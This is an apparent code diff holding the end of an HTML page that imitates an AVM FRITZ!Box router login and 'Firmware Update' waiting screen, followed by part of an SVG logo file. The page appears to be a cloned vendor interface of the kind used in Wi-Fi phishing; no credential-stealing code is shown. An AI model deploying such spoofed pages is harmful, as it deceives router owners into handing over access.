font-size: 24px;
width: 90%;
}
#subcontent table {
display: none;
}
#subcontent_phone {
display: block !important;
}
input {
padding: 5px;
border-radius: 8px 8px 8px 8px;
border: thin solid #99adab;
font-size: 16px;
width: 170px;
font-weight:bold;
}
#footer li {
margin:0px;
}
.blue_bar_title,
.logoArea {
font-family: 'AVM', 'Source Sans Pro', Arial, sans-serif;
}
</style>
<style type="text/css">
/********************************************** Allgemein **********************************************/
* {
-webkit-tap-highlight-color: rgba(0,0,0,0);
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
box-sizing: border-box;
-webkit-touch-callout: text;
-webkit-user-select: text;
-khtml-user-select: text;
-moz-user-select: text;
-ms-user-select: text;
user-select: text;
font-size: 100%;
vertical-align: middle;
outline: 0;
}
*::selection {
background: transparent;
}
*::-moz-selection {
background: transparent;
}
.selectable *::selection {
background: #8fdaff;
}
.selectable *::-moz-selection {
background: #8fdaff;
}
html {
height: 100%;
font-size: 100%;
background-color: #f0eee6;
transition: background-color 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000);
}
body {
height: 100%;
padding:0;
margin:0;
color: #3F464C;
overflow-x: hidden;
overflow-y: auto;
line-height: 1;
}
h1, h2, h3, h4, h5, p, span, div, hr, br, nav, header, section, menu {
margin: 0;
padding: 0;
border: 0;
}
h4 {
margin: 1.25rem 0;
}
input {
margin: 0;
padding: 0;
}
hr {
padding: 0;
border-top: 1px solid #d5d5d5;
margin: 1.25rem -1.25rem;
}
header {
height: 6.25rem;
width: 100%;
position: fixed;
top: 0;
left: 0;
z-index: 100;
background-color: #006ec0;
display: -webkit-box;
display: -moz-box;
display: -ms-flexbox;
display: -webkit-flex;
display: flex;
-webkit-box-flex-direction: row;
-moz-box-flex-direction: row;
-webkit-flex-direction: row;
-ms-flex-direction: row;
flex-direction: row;
transition: all 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000);
}
.hidden {
display: none;
}
.blue_bar_title {
-webkit-box-flex: 1 1 auto;
-moz-box-flex: 1 1 auto;
-webkit-flex: 1 1 auto;
-ms-flex: 1 1 auto;
flex: 1 1 auto;
-webkit-box-align-self: center;
-moz-box-align-self: center;
-webkit-align-self: center;
-ms-align-self: center;
align-self: center;
margin: 0.3rem 0 0 0;
font-size: 3rem;
font-weight: bold;
text-align: left;
color: #ffffff;
overflow: hidden;
white-space: nowrap;
text-overflow: ellipsis;
text-align: center;
transition: all 150ms;
}
.blue_bar_title.fade {
font-size: 0;
color: transparent;
}
.logoBox {
background-image: url("fritzLogo.svg");
background-position: center right;
background-repeat: no-repeat;
background-size: 7rem;
color: transparent;
width: 10.75rem;
height: 6.25rem;
}
.logoBox.fake {
background-image: none;
}
.dialog_outer {
height: 100%;
display: -webkit-box;
display: -moz-box;
display: -ms-flexbox;
display: -webkit-flex;
display: flex;
-webkit-box-justify-content: center;
-moz-box-justify-content: center;
-webkit-justify-content: center;
-ms-justify-content: center;
justify-content: center;
-webkit-box-align-items: center;
-moz-box-align-items: center;
-webkit-align-items: center;
-ms-align-items: center;
align-items: center;
background-image: url("login_background.svg");
background-position: center 51%;
background-repeat: no-repeat;
background-size: 38rem;
padding: 6.5rem 0;
}
.dialog_outer p {
margin: 1.25rem 0;
line-height: 1.25rem;
}
.loginForm {
display: block;
}
.setFac .pushmailQuestion,
.setFac #sendFacReset,
.setFac #sendPushMail,
.setFac #setFac,
.pushmailSend,
.restore,
.pushmail .pushmailQuestion,
.pushmail #sendFacReset,
.pushmail #sendPushMail,
.pushmail #setFac,
.forgotPassForm,
.forgotPass .loginForm {
display: none;
}
.setFac .restore,
.pushmail .pushmailSend,
.forgotPass .forgotPassForm {
display: block;
visibility: visible;
}
.setFac .forgotPassForm {
display: none;
}
.pushmail.wait .pushmailSend {
visibility: hidden;
}
.intxt.wait,
.setFac.wait .dialog_content,
.pushmail.wait .dialog_content {
background-image: url("/css/rd/images/wait_circle_bright_back.gif");
background-position: center 1.5rem;
background-repeat: no-repeat;
background-size: 2rem;
}
.intxt.wait {
height: 2rem;
width: 100%;
margin: 0.5rem;
background-position: center;
}
.ErrorMsg,
.error_text,
.WarnMsgBold {
color: #ff3000;
}
.WarnMsgBold {
font-weight:bold;
}
.pushmailQuestion,
.pushmailSend,
#setFac,
.restore {
padding: 0 1.25rem;
}
#uiLoginError,
#uiUsernameError {
height: 1.25rem;
margin: -0.35rem 0 0.75rem 9rem;
font-size: 0.94rem;
transition: all 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000);
}
#uiLoginError {
height: 7.25rem;
margin: -0.35rem 0 0 9rem;
}
#uiLoginError p:first-Child {
margin: 0;
}
#uiLoginError p:nth-Child(2) {
margin: 0 0 1.25rem 0;
}
#uiLoginError p {
transition: color 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000);
}
@media (max-width: 759px) {
#uiLoginError {
height: 7.5rem;
}
}
@media (max-width: 369px) {
#uiLoginError {
height: 10rem;
}
}
@media (max-width: 279px) {
#uiLoginError {
height: 13rem;
}
}
#uiUsernameError.hidden,
#uiLoginError.hidden {
display: block;
overflow: hidden;
height: 0;
margin: 0 0 0 9rem;
}
#uiLoginError.hidden p.error_text {
color: transparent;
}
button {
min-width: 5.5rem;
min-height: 1.75rem;
overflow: hidden;
padding: 0 1rem;
margin: 0 0 0 1.25rem;
background-color: #e9edf0;
border: 1px solid #d8dfe3;
border-radius: 0.25rem;
color: #4269a4;
cursor: pointer;
will-change: border, background-color, color;
transition: border 100ms,
background-color 100ms,
color 100ms;
}
.btn_form_foot button {
margin: 0 0 0 1.25rem;
}
button:first-Child {
margin-left: 0;
}
button:active {
background-color: #bcccd4;
border: 1px solid #b0bec5;
}
button:disabled {
background-color: #e0e0de;
border: 1px solid #d8dfe3;
color: #969693;
cursor: default;
}
.btn_form_foot button {
min-height: 2rem;
min-width: 7.5rem;
margin: 0 0 0 0.5rem;
background-color: #268edf;
color: #ffffff;
cursor: pointer;
overflow: hidden;
text-align: center;
padding: 0.35rem 1rem;
will-change: margin, width, background-color, color;
transition: margin 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000),
width 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000),
background-color 100ms,
color 100ms;
border: 0;
border-radius: 0;
}
.btn_form_foot button:active {
background-color: #57758c;
}
.btn_form_foot button:disabled {
background-color: #d5d5d5;
color: #969693;
cursor: default;
}
@media (max-width: 1023px) {
.btn_form_foot button {
min-height: 2.25rem;
}
}
@media (min-width: 760px) {
/*pc*/
.dialog_inner {
-webkit-box-flex: 0 0 28.75rem;
-moz-box-flex: 0 0 28.75rem;
-webkit-flex: 0 0 28.75rem;
-ms-flex: 0 0 28.75rem;
flex: 0 0 28.75rem;
margin: auto 0;
padding: 0;
box-shadow: 0 0.1875rem 0.375rem rgba(0,0,0,0.25);
background-color: #ffffff;
}
.dialog_head_box {
text-align: left;
height: 3.25rem;
margin: auto;
background-color: #268edf;
}
.dialog_head_box h2 {
margin: 0 0 0 1.25rem;
font-weight: bold;
font-size: 1.25rem;
color: #ffffff;
letter-spacing: 0.025rem;
line-height: 3.4rem;
}
.dialog_content {
padding: 0 0 1rem 0;
min-height: 5rem;
}
.formular {
text-align: left;
margin: 0;
padding: 0 1.25rem 0 1.25rem;
}
label,
input,
select {
margin: 0 0 0.5rem;
color: #3F464C;
vertical-align: middle;
display: inline-block;
}
.formular label {
width: 8.5rem;
margin-right: 0.5rem;
line-height: 1.7rem;
}
.formular input,
.formular select {
width: 17.25rem;
border: 1px solid #d5d5d5;
height: 1.7rem;
}
.formular input.error,
.formular select.error {
border-color: #ff3000;
}
.formular input {
padding: 0 0.25rem;
}
.language_selection.formular input {
width: auto;
margin-right: 0.25rem;
}
.btn_form_foot {
border-top: 1px solid #d5d5d5;
margin: 1.75rem 0 0 0;
padding: 1rem 1.25rem 0 1.25rem;
text-align: right;
width: 100%;
display: flex;
flex-direction: row-reverse;
justify-content: space-between;
align-items: center;
}
.forgotPass .btn_form_foot {
justify-content: flex-start;
}
.btn_form_foot a {
display: inline-block;
text-decoration: none;
font-size: 0.9375rem;
font-weight: normal;
color: #4269a4;
margin: 0;
padding: 0.1rem 0 0 0;
cursor: pointer;
}
.btn_form_foot a:hover {
text-decoration: underline;
}
}
@media (max-width: 759px) {
/*für mobile Ansicht*/
html {
background-color: #ffffff;
background-image: none;
}
body {
height: auto;
}
header {
height: 3.75rem;
}
.dialog_outer {
font-size: 1.25rem;
background-image: none;
padding: 3.75rem 0 4.25rem 0;
}
.blue_bar_title {
text-align: left;
padding: 1rem 0 1.035rem 0.15rem;
font-size: 1.25rem;
font-weight: normal;
}
.blue_bar_title.hide {
color: transparent;
}
.dialog_inner {
width: 90%;
margin: 0;
}
.dialog_head_box {
display: none;
}
.logoBox {
height: 3.75rem;
background-position: left 0.5rem center;
background-size: 3.75rem;
width: 5rem;
}
.formular {
text-align: left;
margin: 0;
padding: 0;
}
label,
input,
select {
vertical-align: middle;
display: inline-block;
margin: 0 0 0.5rem;
color: #3F464C;
}
.pushmailQuestion,
.pushmailSend,
#setFac,
.restore {
padding: 0;
}
.formular label {
width: 10rem;
line-height: 1.7rem;
margin: 0 0.5rem 0 0;
vertical-align: top;
}
#uiLoginError,
#uiUsernameError {
margin: 0 0 1rem 0;
font-size: 1.15rem;
}
#uiUsernameError.hidden,
#uiLoginError,
#uiLoginError.hidden {
margin: 0;
}
.formular input,
.formular select {
border: 1px solid #d5d5d5;
height: 1.7rem;
width: 100%;
max-width: 20rem;
}
.formular input.error,
.formular select.error {
border-color: #ff3000;
}
.formular input {
padding: 0 0.25rem;
}
.language_selection.formular input {
width: auto;
margin: 0 0.5rem 0.5rem 0;
}
.btn_form_foot {
border: none;
margin: 0 -1.25rem 0 -1.25rem;
padding: 0 1.25rem;
text-align: center;
width: calc(100% + 2.5rem);
display: flex;
flex-direction: column-reverse;
}
button,
.btn_form_foot button {
min-width: 100%;
min-height: 2.2rem;
margin: 0;
}
.btn_form_foot button {
margin: 2rem 0 0 0;
}
.btn_form_foot a {
display: block;
position: fixed;
bottom: 0;
left: 0;
text-align: center;
width: 100%;
padding: 1rem 0;
background-color: #f1f6f9;
cursor: pointer;
}
.btn_form_foot a {
color: #3080C8;
}
.logoBox.fake {
display: none;
}
}
.perfTestHead {
border-top: 1px solid #ff3000;
margin: 1rem 0 0 0;
padding: 1.25rem 1.25rem 0 1.25rem;
color: #ff3000;
cursor: pointer;
}
.perfTestHead span {
display: inline-block;
height: 1rem;
width: 2rem;
background-image: url("/css/rd/images/link_open_red.svg");
background-position: center;
background-size: 1rem;
background-repeat: no-repeat;
}
.perfTestHead.show span {
background-image: url("/css/rd/images/link_closed_red.svg");
}
.perfTestMsg {
display: none;
padding: 0 1.25rem 0 1.25rem;
}
.perfTestMsg.show {
display: block;
}
.forgotPass .perfTestHead,
.forgotPass .perfTestMsg.show {
display: none;
}
.hintMsg {
font-weight: bold;
}
@media (max-width: 759px) {
.perfTestHead {
margin: 1.5rem 0 0 0;
padding: 1.25rem 0 0 0;
}
.perfTestMsg {
padding: 0;
}
}
@media (min-width: 2040px) {
html {
font-size: 0.79vw;
}
}
</style>
<title>
FRITZ!Box
</title>
</head>
<body>
<div id="wrapper">
<div id="header"></div>
<div id="header_icons">
<ul>
<li><a href="#"><img src="icon0.png">Abmelden</a></li>
<li><a href="#"><img src="icon1.png">Ansicht:</a> Experte</li>
<li><a href="#"><img src="icon2.png">Inhalt</a></li>
<li><a href="#"><img src="icon3.png">Hilfe</a></li>
</ul>
</div>
<script>
var gNbc = false,
config = {"gu_type":"release","isDebug":false,"GUI_IS_REPEATER":false};
</script>
<script src="FRITZ%21Box-Dateien/avmcore.js"></script>
<!--<script src="/js/browser.js"></script>-->
<!--<script src="/js/jsl.js"></script>-->
<!--<script src="/js/md5.js"></script>-->
<!--<script src="/js/html.js"></script>-->
<!--<script src="/js/func.js"></script>-->
<!--<script type="text/javascript" src="/myfritz/js/focuschanger.js?lang=de"></script>-->
<!--<script src="/js/html2.js?lang=de"></script>-->
<!--<script src="/js/http.js"></script>-->
<script type="text/javascript" src="FRITZ%21Box-Dateien/login.js"></script>
<script type="text/javascript">
<div id="sidebar_left">
<ul>
<li><a href="#">&Uuml;bersicht</a></li>
<li><a href="#">Internet</a></li>
<li><a href="#">Telefonie</a></li>
<li class="sidebar_left_selected"><a href="#">WLAN</a></li>
<li><a href="#">DECT</a></li>
<li><a href="#">System</a></li>
</ul>
</div>
</script>
<header id="blueBarBox" name="" class=""><div id="" name="" class="logoBox"></div>
<div id="blueBarTitel" name="" class="blue_bar_title">FRITZ!Box WLAN</div>
<div id="" name="" class="logoBox fake"></div></header><div class="dialog_outer">
<div id="dialogInner" class="dialog_inner">
<div id="dialogHeadBox" class="dialog_head_box">
<h2 id="dialogTitle">Login erfolgreich</h2></div>
<div id="dialogContent" class="dialog_content">
<div class="formular">
<br>
<p>Sie werden nun weitergeleitet.</p>
<div id="content">
<div id="content_head"><span style="margin-left:30px;">Firmware Update</span></div>
<div id="subcontent">
<table width="100%" border="0" cellspacing="5">
<tbody>
<tr>
<td colspan="2" align="left"><span style="margin-left:10px;">Bitte einen Moment Geduld!</span><br /><span style="margin-left:10px;">Verbindung wird aufgebaut...</span></td>
</tr>
</tbody>
</table>
<div id="subcontent_phone">
<ul>
<li>Bitte einen Moment Geduld!</li>
<li>&nbsp;</li>
<li>Verbindung wird aufgebaut...</li>
</ul>
</div>
</div>
</div>
<div id="footer">
<ul>
<li><a href="#">Handbuch</a></li>
<li><span style=" font-weight:bold;">&#124;</span></li>
<li><a href="#">Service-Portal</a></li>
<li><span style=" font-weight:bold;">&#124;</span></li>
<li><a href="#">FAQs</a></li>
<li><span style=" font-weight:bold;">&#124;</span></li>
<li><a href="#">FRITZ! Clips</a></li>
<li><span style=" font-weight:bold;">&#124;</span></li>
<li><a href="#">Programme</a></li>
<li><span style=" font-weight:bold;">&#124;</span></li>
<li><a href="#">www.avm.de</a></li>
<li><span style=" font-weight:bold;">&#124;</span></li>
<li><a href="#">www.freetz.org</a></li>
</ul>
</div>
</div>
</body>
</html>

View File

@ -0,0 +1,77 @@
<?xml version="1.0" encoding="UTF-8"?>
<!-- Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Ebene_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="100px" height="80px" viewBox="0 0 100 80" enable-background="new 0 0 100 80" xml:space="preserve">
<path d="M79.023,41.96l3.853-7.019c-2.92-3.031-7.79-7.82-15.938-15.367C47.917,1.974,46.812,2.052,46.343,2.052 c-0.466,0-1.384-0.337-20.327,17.491C4.78,39.559,5.489,40.234,5.489,40.234S4.836,41.315,26.235,61.1 c19.21,17.774,19.58,17.277,20.107,17.277c0.54,0,1.678,0.312,20.622-17.529c10.258-9.621,15.326-14.764,17.826-17.501L79.023,41.96 "/>
<path fill="#231F20" d="M79.023,41.96l0.181,0.102l3.937-7.158l-0.111-0.105c-2.92-3.042-7.795-7.833-15.945-15.366 C57.666,10.699,52.636,6.314,49.899,4.108c-1.363-1.1-2.16-1.653-2.672-1.955c-0.241-0.146-0.416-0.217-0.553-0.258 c-0.137-0.047-0.247-0.056-0.312-0.056h-0.068c-0.08,0-0.202,0.017-0.343,0.065c-0.507,0.174-1.507,0.787-4.415,3.239 c-2.896,2.445-7.678,6.744-15.66,14.261c-9.956,9.369-15.094,14.502-17.742,17.315c-1.324,1.393-2.029,2.217-2.407,2.712 c-0.188,0.247-0.292,0.402-0.362,0.518c-0.057,0.119-0.087,0.183-0.089,0.262c0,0.048,0.02,0.129,0.069,0.171l0.142-0.147 l-0.179-0.12c-0.025,0.043-0.032,0.097-0.032,0.128c0.002,0.073,0.021,0.146,0.087,0.281c0.222,0.406,0.98,1.511,3.903,4.542 c2.917,3.034,7.997,8.028,16.819,16.188c9.104,8.411,13.979,12.75,16.651,14.96c1.328,1.105,2.116,1.694,2.613,2.017 c0.25,0.146,0.424,0.25,0.567,0.293c0.137,0.062,0.256,0.065,0.345,0.065h0.137c0.074,0,0.205-0.004,0.352-0.059 c0.541-0.16,1.61-0.776,4.557-3.223c2.94-2.449,7.771-6.745,15.802-14.29c10.26-9.645,15.321-14.78,17.833-17.539l0.246-0.264 l-6.114-1.454L79.023,41.96l0.181,0.102L79.023,41.96l-0.04,0.205l5.753,1.39l0.055-0.208l-0.157-0.142 c-2.49,2.72-7.557,7.859-17.805,17.501c-9.163,8.615-14.156,12.993-16.945,15.221c-1.381,1.109-2.208,1.668-2.716,1.965 c-0.251,0.144-0.421,0.212-0.525,0.241c-0.129,0.037-0.176,0.037-0.241,0.037h-0.137c-0.062,0-0.101,0-0.204-0.037 c-0.179-0.067-0.518-0.25-1.15-0.719c-1.928-1.43-6.599-5.426-18.532-16.469C16.292,51.612,11.108,46.444,8.45,43.583 c-1.329-1.406-2.029-2.268-2.39-2.755c-0.176-0.244-0.274-0.41-0.323-0.5c-0.026-0.052-0.039-0.086-0.041-0.086l-0.003-0.016 l-0.084,0.016h0.084v-0.016l-0.084,0.016h0.084H5.508l0.159,0.098c0.024-0.046,0.029-0.09,0.025-0.098H5.508l0.159,0.098 l0.091-0.148l-0.127-0.123L5.5,40.211h0.192c0.003-0.029-0.011-0.088-0.062-0.143L5.5,40.211h0.192H5.577l0.116,0.031v-0.031H5.577 l0.116,0.031H5.675h0.018l0,0H5.675h0.018c0-0.016,0.103-0.239,0.534-0.764c1.326-1.647,5.702-6.365,19.938-19.769 c9.117-8.594,14.06-12.969,16.78-15.186c1.346-1.111,2.151-1.69,2.636-1.972c0.24-0.139,0.404-0.217,0.509-0.248 c0.104-0.038,0.142-0.038,0.206-0.038h0.068c0.048,0,0.082,0,0.177,0.021c0.168,0.058,0.513,0.214,1.162,0.675 c1.939,1.355,6.742,5.325,19.094,16.779c8.146,7.517,13.021,12.306,15.936,15.347l0.145-0.146l-0.179-0.104l-3.984,7.261 l0.271,0.067L79.023,41.96"/>
<path fill="#F8EC17" d="M79.023,41.96l3.324-6.056c-2.498-2.758-7.564-7.89-17.895-17.435C45.581,1.001,44.558,0.939,43.86,0.939 c-0.69,0-1.345-0.378-20.324,17.5C2.298,38.45,3.005,39.106,3.005,39.106s-0.652,1.104,20.743,20.872 c19.079,17.646,19.542,17.29,20.113,17.29c0.576,0,1.676,0.278,20.628-17.526c9.747-9.161,14.81-14.261,17.426-17.084L79.023,41.96"/>
<path d="M79.023,41.96l0.274,0.141l3.331-6.026l-0.057-0.378c-2.488-2.769-7.581-7.923-17.896-17.463 C55.225,9.5,50.255,5.11,47.535,2.904C46.19,1.8,45.394,1.249,44.878,0.94c-0.264-0.138-0.453-0.218-0.621-0.274 c-0.174-0.037-0.307-0.041-0.397-0.041h-0.086c-0.104,0-0.244,0.004-0.415,0.064c-0.296,0.091-0.689,0.304-1.373,0.791 c-2.033,1.455-6.708,5.475-18.665,16.719C13.364,27.585,8.228,32.714,5.573,35.526c-1.326,1.412-2.033,2.239-2.412,2.72 c-0.189,0.249-0.302,0.411-0.363,0.54c-0.067,0.112-0.103,0.183-0.11,0.32c-0.004,0.065,0.025,0.175,0.103,0.241l0.215-0.241 l-0.271-0.158c-0.035,0.054-0.047,0.125-0.047,0.184c0.007,0.108,0.03,0.181,0.099,0.318c0.119,0.229,0.363,0.604,0.949,1.308 c1.758,2.135,6.562,7.205,19.801,19.463c9.171,8.476,14.037,12.789,16.691,14.991c1.341,1.106,2.105,1.686,2.605,2.002 c0.254,0.156,0.428,0.238,0.581,0.304c0.155,0.049,0.291,0.066,0.376,0.065h0.131c0.091,0.001,0.232-0.017,0.389-0.065 c0.297-0.088,0.705-0.283,1.402-0.764c2.101-1.446,6.947-5.458,18.985-16.785c9.75-9.161,14.814-14.258,17.462-17.103l-0.173-0.521 l-2.891-0.69L79.023,41.96l0.274,0.141L79.023,41.96l-0.068,0.308l2.893,0.7l0.066-0.31l-0.231-0.212 c-2.624,2.818-7.662,7.908-17.402,17.056c-9.18,8.636-14.158,13.017-16.925,15.22c-1.383,1.109-2.203,1.675-2.703,1.956 c-0.246,0.146-0.415,0.214-0.519,0.24c-0.106,0.031-0.155,0.031-0.212,0.031H43.79c-0.052,0-0.073,0-0.17-0.022 c-0.155-0.063-0.48-0.234-1.105-0.685c-1.894-1.409-6.526-5.372-18.549-16.493C13.882,50.439,8.701,45.273,6.042,42.411 c-1.33-1.416-2.018-2.267-2.381-2.755c-0.171-0.242-0.271-0.414-0.312-0.485c-0.022-0.056-0.032-0.065-0.034-0.077v-0.008 l-0.068,0.021l0.07-0.008l-0.001-0.013l-0.068,0.021l0.07-0.008l-0.194,0.034h0.194v-0.034l-0.194,0.034h0.194h-0.29l0.25,0.149 c0.031-0.071,0.041-0.127,0.041-0.149h-0.29l0.25,0.149l-0.059-0.4l-0.197,0.226h0.296c0.001-0.056-0.019-0.158-0.099-0.226 l-0.197,0.226h0.296H3.094l0.222,0.037l0.001-0.037H3.094l0.222,0.037l-0.083-0.002l0.075,0.013l0.008-0.011l-0.083-0.002 l0.075,0.013c0.008-0.011,0.13-0.255,0.589-0.803c1.386-1.708,5.845-6.491,19.858-19.687c9.098-8.569,13.987-12.941,16.674-15.173 c1.337-1.105,2.134-1.674,2.614-1.965c0.239-0.137,0.402-0.207,0.506-0.241c0.104-0.033,0.155-0.033,0.226-0.033h0.086 c0.084,0,0.136,0,0.231,0.025c0.166,0.042,0.492,0.194,1.137,0.652c1.928,1.345,6.635,5.311,19.013,16.766 c10.318,9.544,15.396,14.681,17.88,17.426l0.226-0.216l-0.274-0.137l-3.325,6.031l0.207,0.47L79.023,41.96"/>
<g>
<defs>
<path id="SVGID_1_" d="M43.841,1.525l-0.033-0.009l0.062,0.009l0.042-0.004l-0.02,0.004C44.002,1.525,43.738,1.525,43.841,1.525 M82.108,36.764c-2.263-2.513-7.064-7.663-18.047-17.874C47.372,3.41,44.315,1.723,43.861,1.527 c-0.439,0.18-3.471,1.825-19.911,17.342C15.596,26.741,9.639,32.56,6.237,36.165c-1.484,1.562-2.505,2.772-2.623,2.909 c0.311,0.571,2.668,3.919,20.537,20.472c7.66,7.091,13.309,12.129,16.795,14.972c0.5,0.393,2.799,2.17,2.799,2.17l0.089-0.001 c0.247-0.065,2.892-1.028,20.242-17.389c10.706-10.065,15.52-15.194,17.843-17.756L82.108,36.764 M3.521,39.418 c0.06-0.105,0.074-0.208,0.074-0.294l-0.003-0.017L3.521,39.418"/>
</defs>
<clipPath id="SVGID_2_">
<use xlink:href="#SVGID_1_" overflow="visible"/>
</clipPath>
<g clip-path="url(#SVGID_2_)">
<path fill="#FFE600" d="M36.981,69.551l-2.045-2.465l-2.117-2.382l-1.416-1.469C23.875,55.709,8.507,40.276,8.357,40.145 c-0.045-0.046-0.067-0.098-0.067-0.141v-0.001c0.004-0.04,0.035-0.08,0.058-0.104c0.657-0.63,15.652-15.077,23.834-22.011 L44.756,7.719l-0.348-7.763L25.24,17.031c-7.02,6.179-20.396,20.838-20.527,20.968c-0.328,0.29-0.52,0.729-0.52,1.206 c0,0.452,0.191,0.903,0.551,1.229l0.069,0.072c2.31,2.18,14.122,13.443,20.094,19.199c2.036,1.968,2.772,2.565,3.514,3.174 L31.7,65.55L36.981,69.551"/>
<path fill="#FFE700" d="M34.888,67.122l0.031,0.026c-0.053-0.04-0.309-0.33-2.15-2.405l-1.413-1.457L11.532,43.413l-3.22-3.239 l-0.085-0.17l0.084-0.152c1.604-1.541,15.9-15.28,23.833-22.004c0,0,12.325-9.96,12.559-10.156c0-0.061-0.361-7.347-0.361-7.609 c-0.195,0.182-19.059,17.004-19.059,17.004c-7.03,6.177-20.397,20.816-20.521,20.953c-0.325,0.286-0.511,0.723-0.511,1.166 c0,0.452,0.19,0.864,0.532,1.177h0l0.077,0.065c2.306,2.211,14.122,13.456,20.09,19.228c1.997,1.929,2.744,2.531,3.467,3.125 l3.319,2.7c0.002,0,3.622,2.753,4.863,3.679C36.125,68.63,34.888,67.122,34.888,67.122"/>
<path fill="#FFE703" d="M34.838,67.171l0.047,0.018c-0.065-0.04-0.242-0.244-2.154-2.408l-1.413-1.458L8.274,40.216l-0.098-0.174 l0,0c0-0.039,0.082-0.208,0.082-0.208c1.605-1.559,15.857-15.263,23.844-22.045c0,0,12.308-9.932,12.54-10.134 c0-0.045-0.354-7.178-0.354-7.438c-0.205,0.173-18.965,16.911-18.965,16.911C18.303,23.295,4.933,37.943,4.802,38.072 c-0.314,0.285-0.486,0.69-0.486,1.133c0,0.423,0.175,0.837,0.507,1.138l0.08,0.075c4.204,3.996,14.58,13.883,20.091,19.214 c1.989,1.917,2.74,2.522,3.462,3.109l3.32,2.716c0.007,0.001,3.847,2.91,4.436,3.366C35.781,68.294,34.838,67.171,34.838,67.171"/>
<path fill="#FFE716" d="M34.795,67.204l0.05,0.036c-0.062-0.052-0.22-0.234-2.162-2.409l-1.412-1.471l-23.043-23.1l-0.105-0.192 l0,0c0-0.049,0.076-0.273,0.076-0.273c0.166-0.167,15.408-14.871,23.861-22.043c0,0,12.291-9.922,12.521-10.126 c0-0.043-0.361-7.019-0.361-7.271c-0.196,0.171-18.856,16.812-18.856,16.812C18.498,23.197,5.388,37.581,4.852,38.11 c-0.31,0.274-0.482,0.685-0.482,1.095c0,0.421,0.176,0.798,0.495,1.106L4.94,40.38c4.205,3.996,14.575,13.874,20.094,19.198 c1.993,1.925,2.737,2.539,3.458,3.125l3.324,2.713c0,0,3.37,2.559,4.018,3.043C35.454,67.997,34.795,67.204,34.795,67.204"/>
<path fill="#FFE722" d="M34.747,67.25l0.061,0.038c-0.066-0.055-0.18-0.179-2.056-2.279l-0.118-0.138l-1.406-1.479L8.186,40.315 l-0.115-0.214l0-0.014c0-0.046,0.072-0.312,0.072-0.312c0.134-0.138,15.476-14.935,23.88-22.067c0,0,12.268-9.914,12.493-10.105 c0-0.052-0.35-6.871-0.35-7.113c-0.202,0.175-18.76,16.725-18.76,16.725C18.489,23.294,5.429,37.628,4.9,38.143 c-0.3,0.273-0.466,0.656-0.466,1.062c0,0.387,0.166,0.761,0.473,1.044l0.078,0.082c4.193,3.991,14.557,13.867,20.094,19.207 c1.99,1.924,2.729,2.531,3.453,3.12l3.324,2.7c0,0,2.575,1.959,3.599,2.729C35.143,67.729,34.747,67.25,34.747,67.25"/>
<path fill="#FFE82B" d="M34.695,67.288l-0.003-0.031c-0.136-0.143-0.531-0.582-1.98-2.21l-0.12-0.138l-1.411-1.471L8.139,40.343 l-0.122-0.217l-0.002-0.018c0-0.049,0.071-0.351,0.071-0.351c0.102-0.102,15.402-14.886,23.897-22.099 c0,0,12.246-9.893,12.478-10.077c0-0.064-0.36-6.712-0.36-6.961c-0.196,0.181-18.657,16.646-18.657,16.646 C18.526,23.329,5.47,37.661,4.937,38.194c-0.278,0.26-0.447,0.632-0.447,1.01c0,0.382,0.167,0.734,0.461,1.006l0.07,0.065 c4.183,3.995,14.512,13.821,20.1,19.221c1.979,1.926,2.728,2.522,3.443,3.108l3.324,2.72c0.013,0,2.668,2.014,3.188,2.407 C34.888,67.495,34.695,67.288,34.695,67.288"/>
<path fill="#FFE835" d="M34.652,67.317l-0.008-0.023l-2.1-2.349l-1.406-1.461L8.101,40.382l-0.137-0.237H7.962 c0-0.076,0.063-0.391,0.063-0.391C8.101,39.656,23.277,24.97,31.941,17.61c0,0,12.225-9.864,12.458-10.059 c0-0.059-0.355-6.543-0.355-6.792c-0.203,0.171-18.562,16.543-18.562,16.543C18.767,23.204,6.327,36.9,4.986,38.243 c-0.274,0.245-0.429,0.59-0.429,0.962c0,0.354,0.155,0.702,0.431,0.969l0.076,0.068c4.166,3.964,14.459,13.77,20.103,19.223 c1.98,1.898,2.722,2.517,3.435,3.103l3.322,2.703c0,0,2.205,1.67,2.769,2.091L34.652,67.317"/>
<path fill="#FFE93C" d="M32.499,64.979l-1.403-1.448L11.273,43.658L8.056,40.43L7.91,40.174H7.908c0-0.069,0.06-0.443,0.06-0.443 c0.053-0.074,15.303-14.843,23.938-22.158c0,0,12.203-9.853,12.435-10.055c0-0.045-0.362-6.379-0.362-6.626 c-0.196,0.176-18.453,16.45-18.453,16.45C18.81,23.258,6.37,36.938,5.025,38.28c-0.263,0.241-0.411,0.576-0.411,0.925 c0,0.354,0.147,0.668,0.415,0.93l0.078,0.076c4.157,3.938,14.436,13.734,20.102,19.195c1.979,1.922,2.72,2.523,3.437,3.103 c-0.006-0.001-0.006-0.001,3.322,2.716c0.002,0,1.529,1.168,2.314,1.753C33.817,66.459,32.499,64.979,32.499,64.979"/>
<path fill="#FFE943" d="M32.456,65.02l-1.408-1.451L8.015,40.475l-0.159-0.264v-0.004c0-0.1,0.051-0.479,0.051-0.479 c0.04-0.072,15.113-14.7,23.959-22.207c0,0,12.183-9.83,12.406-10.036c0-0.042-0.351-6.212-0.351-6.471 c-0.197,0.183-18.356,16.384-18.356,16.384C18.884,23.263,6.418,36.972,5.071,38.313c-0.256,0.244-0.395,0.552-0.395,0.892 c0,0.324,0.138,0.645,0.397,0.87l0.075,0.077c4.14,3.951,14.379,13.697,20.101,19.216c1.974,1.925,2.712,2.514,3.434,3.099 l-0.066-0.002c0.069,0.003,0.399,0.276,3.06,2.445l0.33,0.274c0.002,0,1.49,1.133,1.813,1.378 C33.334,66.013,32.456,65.021,32.456,65.02"/>
